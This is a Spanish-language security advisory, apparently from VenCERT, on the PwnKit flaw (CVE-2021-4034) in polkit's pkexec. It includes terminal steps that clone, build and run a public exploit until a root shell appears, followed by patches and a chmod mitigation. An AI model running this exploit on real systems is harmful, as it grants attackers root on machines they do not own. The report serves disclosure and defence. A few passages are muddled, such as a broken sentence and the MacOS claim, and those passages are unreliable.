# Vulnerabilidad en polkit

Informe de Investigación

## *La historia del Polkit*

Algunos especialistas en ciberseguridad reportaron la detección de una vulnerabilidad crítica en el componente pkexec de Polkit cuya explotación permitiría obtener privilegios de usuario root en las principales distribuciones de linux; Identificada como **CVE-2021-4034**, la falla solo puede ser explotada de forma local teniendo acceso a la maquina lo que reduce el riesgo de ataque.

Estuvo escondida a simple vista durante más de una década; en noviembre del 2021 los investigadores de Qualys descubrieron dicha vulnerabilidad de corrupción de memoria en estos a su vez utilizan la inteligencia de amenazas en tiempo real y modelos de aprendizaje automático para priorizar automáticamente las vulnerabilidades de mayor riesgo en los activos más críticos.

## ¿Que es el Polkit?

Es una aplicación que administra los niveles de privilegio en linux o sistemas unix; también es llamado policykit que es una aplicación con un conjunto de herramientas, ejecuciones u opciones que permiten la administración de los privilegios en sistemas operativos Unix, sea Linux o MacOS.

El componente afectado, se encarga de controlar los privilegios en sistemas operativos similares a Unix, permitiendo que procesos no privilegiados se comuniquen con procesos privilegiados; Anteriormente conocido como «PolicyKit». Esta herramienta se ha incluido por defecto en prácticamente todas las nuevas distribuciones de Linux desde 2009.

Según Juan gonzález en la publicación del articulo**, *Escalada de privilegios en Linux con polkit*, en junio, 2021** ; donde dice que: "un reciente artículo publicado por un investigador de seguridad de GitHub Security Lab Kevin Backhouse, detalla el procedimiento que permite realizar una escalada de privilegios en sistemas linux que utilizan el servicio polkit, siendo este un servicio instalado por defecto en muchas distribuciones de Linux".

## ¿Que es el Policykit?

Basándonos en los conceptos de "Vulnerabilidad" y "Polickit ". Podemos determinar que una vulnerabilidad en el policykit, , lo que quiere decir que los usuarios locales sin privilegios pueden explotar la vulnerabilidad en su configuración por defecto.

## ¿Que es el Pwnkit?

Denominada como **CVE-2021-4034** es una vulnerabilidad de escalada de privilegios que permite a usuarios locales sin privilegios que consigan todos los privilegios de root en cualquier distribución de Linux vulnerable; para ello los usuarios locales sin privilegios explotan la vulnerabilidad en su configuración por defecto.

Aunque el equipo de investigación de Qualys solo revisó y explotó la vulnerabilidad PwnKit en Ubuntu, Debian, Fedora, Centos Linux y Red Hat Enterprise Linux (RHEL), se ha dado por hecho que también afecta a otras distribuciones más pequeñas, disponde de parches de PwnKit para Debian, Ubuntu y Red Hat Enterprise Linux.

### *Algunas Características sulen ser:*

-Disponer de parches de PwnKit para Debian, Ubuntu y Red Hat Enterprise Linux.

-Permitir la comunicación de procesos sin privilegios a procesos con privilegios.

-Ejecutar comandos con muchos privilegios.

### *¿Que es el Pkexec?*

Es uno de los comandos que esta vinculado al polkit, es decir, que instalado se ejecuta en conjunto al polkit y que a su vez, es por donde se explota o permite la ejecución de la vulnerabilidad; Siendo este un programa SUID-root instalado por defecto en todas las principales distribuciones de Linux.

La versión actual de pkexec no maneja correctamente el conteo de parámetros de llamada y termina intentando ejecutar variables de entorno como comandos. Un atacante puede aprovechar esto creando variables de entorno de tal manera que inducirá a pkexec a ejecutar código arbitrario. Cuando se ejecuta con éxito, el ataque puede causar una escalada de privilegios locales que otorga a los usuarios sin privilegios derechos administrativos en la máquina de destino.

## Archivos de Exploit Construido



```
└─$ git clone https://github.com/ryaagard/CVE-2021-4034
```

***Clonando del Exploit***

```
┌──(elvin@vencert)-[~]
└─$ cd CVE-2021-4034/

┌──(elvin@vencert)-[~/CVE-2021-4034]
└─$ ls
evil-so.c  exploit.c  Makefile  README.md
```

***Archivos del Exploit***

```
┌──(elvin@vencert)-[~/CVE-2021-4034]
└─$ make
gcc -shared -o evil.so -fPIC evil-so.c
evil-so.c: In function 'gconv_init':
evil-so.c:10:5: warning: implicit declaration of function 'setgroups'; did you m
ean 'getgroups'? [-Wimplicit-function-declaration]
   10 |     setgroups(0);
      |     ^~~~~~~~~
      |     getgroups
gcc exploit.c -o exploit
exploit.c: In function 'main':
exploit.c:25:5: warning: implicit declaration of function 'execve' [-Wimplicit-f
unction-declaration]
   25 |     execve(BIN, argv, envp);
      |     ^~~~~~
```

***Construyendo el Exploit***

```
┌──(elvin@vencert)-[~/CVE-2021-4034]
└─$ ls
evil.so  evil-so.c  exploit  exploit.c  Makefile  README.md
```

## Comprobación de Escala de Privilegios



```
┌──(elvin@vencert)-[~/CVE-2021-4034]
└─$ whoami
elvin
```

*Usuario antes de ejecutar el Exploit*

```
┌──(elvin@vencert)-[~/CVE-2021-4034]
└─$ ./exploit
```

*Comando para ejecutar el Exploit*

```
┌──(elvin@vencert)-[~/CVE-2021-4034]
└─$ ./exploit
mkdir: no se puede crear el directorio «GCONV_PATH=.»: El fichero ya existe
mkdir: no se puede crear el directorio «evildir»: El fichero ya existe
#
# whoami
root
#
```

## *Parches Disponibles*

La siguiente lista recopila los parches disponibles para las principales distribuciones de Linux:

-Parche de seguridad de PwnKit para Debian

-Parche de seguridad de PwnKit para Ubuntu

-Parche de seguridad de PwnKit para RHEL

En caso de que no haya un parches disponible para la distribución de Linux que utilices, puedes mitigar la explotación eliminando el SUID-bit ;permiso que permite que todos los procesos creados por el programa tenga el UID efectivo del propietario del programa y no el del usuario que lo ejecuta, de pkexec. Para ello se puede usar el siguiente comando: # chmod 0755 /usr/bin/pkexec.

## Referencias Bibliográficas

https://www.stackscale.com/es/blog/vulnerabilidad-pwnkit/

https://www.fpgenred.es/GNU-Linux/el_bit_suid.html

https://unaaldia.hispasec.com/2021/06/escalada-de-privilegios-en-linux-con-polkit.html

Informe de Investigación

# Elaborado por:

Esp. Elvin Vargas

Ing. Sugeidis Plaza

# Información de Contacto

WWW.SUSCERTE.GOB.VE

INCIDENTES.VENCERT@SUSCERTE.GOB.VE

DE USO PÚBLICO